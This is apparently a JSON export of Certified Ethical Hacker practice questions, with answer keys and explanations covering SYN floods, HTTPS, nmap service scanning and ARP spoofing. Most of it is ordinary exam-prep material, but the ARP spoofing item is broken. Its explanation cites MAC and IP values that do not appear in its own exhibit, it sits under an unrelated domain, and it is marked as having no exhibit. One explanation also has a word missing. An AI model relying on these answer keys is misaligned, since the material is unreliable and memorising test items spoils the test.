examines code without execution) with 'dynamic analysis' (which requires execution), leading them to pick static analysis when the question explicitly asks for observing behavior in a controlled environment.","examTip":null,"technicalDeepDive":"Under the hood, dynamic analysis often uses tools like Cuckoo Sandbox or Joe Sandbox that hook system calls (e.g., NtCreateFile, RegSetValue) via API monitoring or kernel-level drivers to log every action. A subtle behavior is that some malware detects virtualized environments by checking for specific hardware identifiers (e.g., MAC address prefixes of VMware or VirtualBox) and alters its behavior to appear benign, a technique known as 'environmental awareness' or 'red pill' detection.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:29.103+00:00","questionType":"multiple_choice"},{"id":"e2e7087f-988e-4473-864f-b6231de7fd6f","slug":"as-a-network-defender-you-notice-an-unusually-high-number-o-m310w","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"As a network defender, you notice an unusually high number of incomplete TCP three-way handshakes from a single external IP to multiple internal hosts. What is the most likely attack taking place?","difficulty":"hard","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"UDP flood","explanation":"UDP flood uses UDP packets, not TCP SYN packets.","masteryContext":""},{"key":"B","isCorrect":true,"text":"SYN flood","explanation":"SYN flood sends many SYN packets without completing handshake.","masteryContext":""},{"key":"C","isCorrect":false,"text":"ARP spoofing","explanation":"ARP spoofing operates at layer 2, not TCP handshake.","masteryContext":""},{"key":"D","isCorrect":false,"text":"ICMP flood","explanation":"ICMP flood uses ping requests, not TCP handshake packets.","masteryContext":""}],"correctOptionKey":"B","correctOptions":["B"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"A SYN flood attack exploits the TCP three-way handshake by sending a high volume of SYN packets to target hosts without completing the handshake (i.e., not sending the final ACK). This leaves the target with half-open connections, exhausting its connection table and denying service to legitimate traffic. The observation of incomplete handshakes from a single external IP to multiple internal hosts is a classic signature of a SYN flood.","examTrap":"EC-Council often tests the distinction between a SYN flood and a UDP flood, where candidates mistakenly choose UDP flood because they associate 'flood' with any high-volume attack, but the key clue is the incomplete TCP three-way handshake, which is specific to SYN floods.","examTip":null,"technicalDeepDive":"Under the hood, a SYN flood sends a barrage of SYN packets with spoofed source IP addresses, causing the target to allocate Transmission Control Blocks (TCBs) for each half-open connection. The target's backlog queue (defined by the `tcp_max_syn_backlog` kernel parameter) fills up, preventing new legitimate connections. In real-world scenarios, attackers often randomize source IPs to evade simple IP-based blocking, making mitigation techniques like SYN cookies (RFC 4987) or rate-limiting essential.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:28.359+00:00","questionType":"multiple_choice"},{"id":"52c8039e-55e5-4697-9968-4e2192ba0b94","slug":"a-network-administrator-wants-to-prevent-an-attacker-from-us-ovn55","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"A network administrator wants to prevent an attacker from using a network sniffer to capture traffic between a client and a web server. Which protocol should be enforced to encrypt all communication?","difficulty":"medium","domain":"Network and Web Application Attacks","domainSlug":"network-webapp-attacks","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"SNMP","explanation":"SNMP is for network management, not web traffic.","masteryContext":""},{"key":"B","isCorrect":false,"text":"FTP","explanation":"FTP is unencrypted.","masteryContext":""},{"key":"C","isCorrect":true,"text":"HTTPS","explanation":"HTTPS encrypts data with TLS.","masteryContext":""},{"key":"D","isCorrect":false,"text":"HTTP","explanation":"HTTP is unencrypted.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"HTTPS (HTTP over TLS, RFC 2818) encrypts all communication between a client and a web server using TLS/SSL, preventing a network sniffer from capturing plaintext data such as cookies, URLs, or form submissions. This ensures confidentiality and integrity of the web traffic, directly countering passive eavesdropping attacks.","examTrap":"The trap here is that candidates often confuse encryption with authentication or assume that any protocol with 'secure' in its name (like SNMPv3) is suitable for web traffic, when the question specifically requires a protocol that encrypts client-to-web-server communication — only HTTPS directly fulfills that role.","examTip":null,"technicalDeepDive":"HTTPS uses TLS handshake to negotiate a symmetric session key via asymmetric cryptography (e.g., RSA or ECDHE), then encrypts all application-layer data with ciphers like AES-GCM. A subtle behavior: even if an attacker captures the encrypted traffic, they cannot decrypt it without the session key, but they can still observe metadata such as server IP, domain (via SNI), and traffic volume — a limitation known as traffic analysis. In real-world scenarios, tools like Wireshark can capture HTTPS traffic, but the payload remains unreadable unless the attacker has the private key or performs a man-in-the-middle attack with a rogue certificate.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:11:13.662+00:00","questionType":"multiple_choice"},{"id":"b476f0c3-bb39-455a-b18b-6b0ba10f7502","slug":"during-a-penetration-test-you-run-the-following-command-nm-r2qpi","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"During a penetration test, you run the following command: nmap -sV -p 80 --script http-title 192.168.1.10. The output shows that port 80 is open and the HTTP title is 'Login Portal'. Which phase of the penetration testing methodology does this activity represent?","difficulty":"medium","domain":"Footprinting, Reconnaissance and Scanning","domainSlug":"ceh-recon-scanning","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Exploitation","explanation":"Exploitation involves actively compromising systems, not just gathering service information.","masteryContext":""},{"key":"B","isCorrect":false,"text":"Post-exploitation","explanation":"Post-exploitation occurs after gaining access, not during initial scanning.","masteryContext":""},{"key":"C","isCorrect":false,"text":"Footprinting","explanation":"Footprinting is passive information gathering without direct interaction; Nmap scanning is active.","masteryContext":""},{"key":"D","isCorrect":true,"text":"Scanning and enumeration","explanation":"Scanning involves actively probing systems to discover open ports, services, and other details. This aligns with the scanning and enumeration phase.","masteryContext":""}],"correctOptionKey":"D","correctOptions":["D"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The nmap command with -sV (service version detection) and --script http-title performs service fingerprinting and banner grabbing on port 80, which is a core activity of the scanning and enumeration phase. This phase follows footprinting and involves actively probing target systems to discover open ports, running services, and application details like the HTTP title 'Login Portal'. It does not involve exploiting vulnerabilities (exploitation) or maintaining access (post-exploitation), nor is it passive information gathering (footprinting).","examTrap":"EC-Council often tests the distinction between footprinting and scanning/enumeration, where candidates mistakenly classify any information-gathering activity as footprinting, but the key differentiator is whether the activity involves direct interaction with the target system (scanning) versus passive collection (footprinting).","examTip":null,"technicalDeepDive":"The -sV flag in nmap sends probes to open ports and compares responses against a database of service fingerprints (e.g., nmap-service-probes) to determine the application name and version, while --script http-title specifically fetches the tag from the HTTP response body. In a real-world scenario, discovering 'Login Portal' as the title could indicate a web application login page, which an attacker would then target with credential brute-forcing or vulnerability scanning during the exploitation phase. The distinction between footprinting and scanning is critical: footprinting uses public data (e.g., DNS records), whereas scanning involves direct interaction with the target system.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":null,"exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-30T18:02:30.881+00:00","questionType":"multiple_choice"},{"id":"e5d20566-fedb-473d-b6a4-ec4462647d6a","slug":"refer-to-the-exhibit-a-security-analyst-runs-ping-and-arp-c-kpi9c","certificationSlug":"ec-ceh","examCode":"CEH","examName":"Certified Ethical Hacker CEH","questionText":"Refer to the exhibit. A security analyst runs ping and arp commands. What is the most likely attack occurring?","difficulty":"hard","domain":"Social Engineering and Physical Security","domainSlug":"social-eng-physical","topic":"","questionNumber":0,"totalQuestions":0,"options":[{"key":"A","isCorrect":false,"text":"Distributed denial of service (DDoS) attack","explanation":"No indication of multiple sources or high traffic.","masteryContext":""},{"key":"B","isCorrect":false,"text":"MAC flooding attack","explanation":"MAC flooding fills switch CAM table, not ARP table.","masteryContext":""},{"key":"C","isCorrect":true,"text":"ARP spoofing attack","explanation":"Duplicate MAC addresses for different IPs indicate ARP spoofing.","masteryContext":""},{"key":"D","isCorrect":false,"text":"Ping flood attack","explanation":"Ping flood is a DoS attack, not indicated by ARP anomalies.","masteryContext":""}],"correctOptionKey":"C","correctOptions":["C"],"correctAnswerText":"","isMultiSelect":false,"mainExplanation":"The correct answer is C because the combination of `ping` and `arp` commands reveals an ARP spoofing attack. The `arp -a` output shows the same MAC address (00-11-22-33-44-55) mapped to multiple IP addresses (192.168.1.1 and 192.168.1.2), which is a classic indicator of ARP cache poisoning. The `ping` commands confirm that both IPs are reachable, but the duplicate MAC entry proves an attacker is intercepting traffic by associating their MAC with multiple IPs.","examTrap":"The trap here is that candidates confuse MAC flooding (which targets switch CAM tables) with ARP spoofing (which targets host ARP caches), but the exhibit's `arp -a` output showing multiple IPs for one MAC is the definitive sign of ARP cache poisoning, not a switch-level attack.","examTip":null,"technicalDeepDive":"ARP spoofing exploits the stateless nature of ARP (RFC 826), where hosts accept unsolicited ARP replies without authentication. An attacker sends forged ARP packets to associate their MAC address with the default gateway's IP, causing all victim traffic to be forwarded through the attacker's machine for man-in-the-middle interception. Tools like Ettercap or Cain & Abel automate this, and detection requires static ARP entries or dynamic ARP inspection (DAI) on managed switches.","keyConcepts":[],"faqs":[],"eliminationLogic":null,"exhibitText":"Refer to the exhibit.\n\nC:\\Users\\Admin>ping 10.0.0.1\nPinging 10.0.0.1 with 32 bytes of data:\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nReply from 10.0.0.1: bytes=32 time<1ms TTL=128\nPing statistics for 10.0.0.1:\n Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),\nApproximate round trip time in milli-seconds:\n Minimum = 0ms, Maximum = 0ms, Average = 0ms\n\nC:\\Users\\Admin>arp -a\nInterface: 192.168.1.101 --- 0x4\n Internet Address Physical Address Type\n 192.168.1.1 aa-bb-cc-11-22-33 dynamic\n 10.0.0.1 aa-bb-cc-11-22-33 dynamic\n 192.168.1.102 dd-ee-ff-44-55-66 dynamic","exhibitUrl":null,"hasExhibit":false,"isExhibitQuestion":false,"questionPairs":null,"hasMatchingPairs":false,"isMatchingQuestion":false,"relatedQuestions":[],"breadcrumbItems":null,"nextQuestionUrl":null,"previousQuestionUrl":null,"domainPracticeUrl":null,"certificationUrl":null,"domainUrl":null,"hasAnswerOptions":true,"updatedAt":"2026-06-11T07:23:00.777+00:00","questionType":"multiple_choice"}],"countMismatch":null}] </article></body></html>